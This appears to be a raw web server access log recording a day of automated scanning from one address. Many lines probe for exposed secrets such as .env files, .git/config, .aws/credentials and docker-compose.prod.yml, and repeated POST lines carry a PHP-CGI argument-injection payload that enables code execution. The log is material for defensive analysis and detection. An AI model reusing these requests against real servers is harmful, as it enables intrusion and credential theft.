[05/Dec/2024:01:13:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /backup/.git/config HTTP/1.1" 300
[05/Dec/2024:01:13:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.bak HTTP/1.1" 300
[05/Dec/2024:01:13:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.prod.local HTTP/1.1" 300
[05/Dec/2024:01:13:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cms/.git/config HTTP/1.1" 300
[05/Dec/2024:01:13:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /www/.git/config HTTP/1.1" 300
[05/Dec/2024:01:13:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.default HTTP/1.1" 300
[05/Dec/2024:01:13:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/.git/config HTTP/1.1" 300
[05/Dec/2024:01:13:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /docker-compose.prod.yml HTTP/1.1" 300
[05/Dec/2024:01:13:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.backup HTTP/1.1" 300
[05/Dec/2024:01:13:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.template HTTP/1.1" 300
[05/Dec/2024:01:13:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/.git/config HTTP/1.1" 300
[05/Dec/2024:01:13:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.save HTTP/1.1" 300
[05/Dec/2024:01:13:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:01:13:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /media../.git/config HTTP/1.1" 300
[05/Dec/2024:01:14:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.aws HTTP/1.1" 300
[05/Dec/2024:01:14:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dev HTTP/1.1" 300
[05/Dec/2024:01:14:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /build/.env HTTP/1.1" 300
[05/Dec/2024:01:14:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /project/.git/config HTTP/1.1" 300
[05/Dec/2024:01:14:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/.git/config HTTP/1.1" 300
[05/Dec/2024:01:14:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env_sample HTTP/1.1" 300
[05/Dec/2024:01:14:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/.env HTTP/1.1" 300
[05/Dec/2024:01:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.aws/credentials HTTP/1.1" 300
[05/Dec/2024:01:14:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /data/.git/config HTTP/1.1" 300
[05/Dec/2024:01:14:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.test HTTP/1.1" 300
[05/Dec/2024:01:14:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.testing HTTP/1.1" 300
[05/Dec/2024:01:14:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[05/Dec/2024:01:14:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.production.local HTTP/1.1" 300
[05/Dec/2024:01:14:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /prod/.env HTTP/1.1" 300
[05/Dec/2024:01:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /server/.git/config HTTP/1.1" 300
[05/Dec/2024:01:14:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dist HTTP/1.1" 300
[05/Dec/2024:01:27:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[05/Dec/2024:01:27:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:01:27:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/docs/change-mysql-temp-dir.html HTTP/1.1" 305
[05/Dec/2024:01:29:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[05/Dec/2024:01:29:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:01:33:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:01:51:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:01:54:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:02:01:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git/config HTTP/1.1" 300
[05/Dec/2024:02:13:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:02:29:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:02:33:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:02:35:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:02:35:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/lock.png HTTP/1.1" 506
[05/Dec/2024:02:35:40 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:02:51:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:02:54:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:02:55:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/arrow.png HTTP/1.1" 191
[05/Dec/2024:03:02:36 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:03:13:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:03:16:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/spinner.gif HTTP/1.1" 2984
[05/Dec/2024:03:33:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:03:45:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/close.png HTTP/1.1" 615
[05/Dec/2024:03:51:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:03:54:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:04:02:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dashboard/howto.html HTTP/1.1" 305
[05/Dec/2024:04:10:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[05/Dec/2024:04:10:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:04:10:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.testing HTTP/1.1" 300
[05/Dec/2024:04:10:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/.git/config HTTP/1.1" 300
[05/Dec/2024:04:10:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cms/.git/config HTTP/1.1" 300
[05/Dec/2024:04:10:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /media../.git/config HTTP/1.1" 300
[05/Dec/2024:04:10:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.prod.local HTTP/1.1" 300
[05/Dec/2024:04:10:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/.env HTTP/1.1" 300
[05/Dec/2024:04:10:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config.json HTTP/1.1" 300
[05/Dec/2024:04:13:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:04:33:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:04:34:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:04:36:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:04:51:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:04:52:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" 332
[05/Dec/2024:04:53:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:04:53:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.production HTTP/1.1" 300
[05/Dec/2024:04:53:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.sandbox HTTP/1.1" 300
[05/Dec/2024:04:53:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.testing HTTP/1.1" 300
[05/Dec/2024:04:53:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /public/.git/config HTTP/1.1" 300
[05/Dec/2024:04:53:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/.git/config HTTP/1.1" 300
[05/Dec/2024:04:53:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.docker HTTP/1.1" 300
[05/Dec/2024:04:53:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.local HTTP/1.1" 300
[05/Dec/2024:04:53:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/.env HTTP/1.1" 300
[05/Dec/2024:04:53:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /build/.env HTTP/1.1" 300
[05/Dec/2024:04:53:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.docker-compose HTTP/1.1" 300
[05/Dec/2024:04:53:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /configuration/.env HTTP/1.1" 300
[05/Dec/2024:04:53:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /prod/.env HTTP/1.1" 300
[05/Dec/2024:04:53:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.template HTTP/1.1" 300
[05/Dec/2024:04:53:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.development.local HTTP/1.1" 300
[05/Dec/2024:04:53:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env.dist HTTP/1.1" 300
[05/Dec/2024:04:53:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /config/.git/config HTTP/1.1" 300
[05/Dec/2024:04:53:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /backup/.git/config HTTP/1.1" 300
[05/Dec/2024:04:53:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /media../.git/config HTTP/1.1" 300
[05/Dec/2024:04:53:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/.git/config HTTP/1.1" 300
[05/Dec/2024:04:54:05 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:04:54:45 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 305
[05/Dec/2024:04:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[05/Dec/2024:05:01:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/pagebreak/images/pagebreak.gif HTTP/1.1" 54
[05/Dec/2024:05:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:05:17:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:05:17:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:05:18:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:05:18:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[05/Dec/2024:05:18:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:05:31:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[05/Dec/2024:05:33:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:05:33:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[05/Dec/2024:05:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:05:53:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:06:01:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/spellchecker.png HTTP/1.1" 836
[05/Dec/2024:06:09:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[05/Dec/2024:06:09:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:06:09:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:06:09:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:06:13:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:06:21:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/0x.html HTTP/1.1" 996
[05/Dec/2024:06:28:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.0" -
[05/Dec/2024:06:33:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:06:34:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:06:38:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:06:38:46 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:06:51:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:06:54:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:07:01:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/images/hidpi/lock.png HTTP/1.1" 1062
[05/Dec/2024:07:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:07:27:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[05/Dec/2024:07:27:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:07:27:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:07:27:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:07:33:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:07:35:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:07:35:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:07:36:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[05/Dec/2024:07:36:04 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[05/Dec/2024:07:36:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:07:51:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:07:54:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:07:55:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[05/Dec/2024:07:57:14 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:08:14:02 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:08:31:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_h5.png HTTP/1.1" 126
[05/Dec/2024:08:33:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:08:40:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:08:42:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[05/Dec/2024:08:45:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/tree_icons.png HTTP/1.1" 3086
[05/Dec/2024:08:51:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[05/Dec/2024:08:54:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[05/Dec/2024:09:12:57 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:12:58 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:12:59 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:12:59 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:00 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:01 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:02 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:03 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:04 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:05 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:06 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:08 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:09 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:09 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:10 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:12 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:13 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:14 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:15 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:16 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:16 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:18 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:19 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:19 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:20 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:22 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:22 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:23 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:25 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:26 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[05/Dec/2024:09:13:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
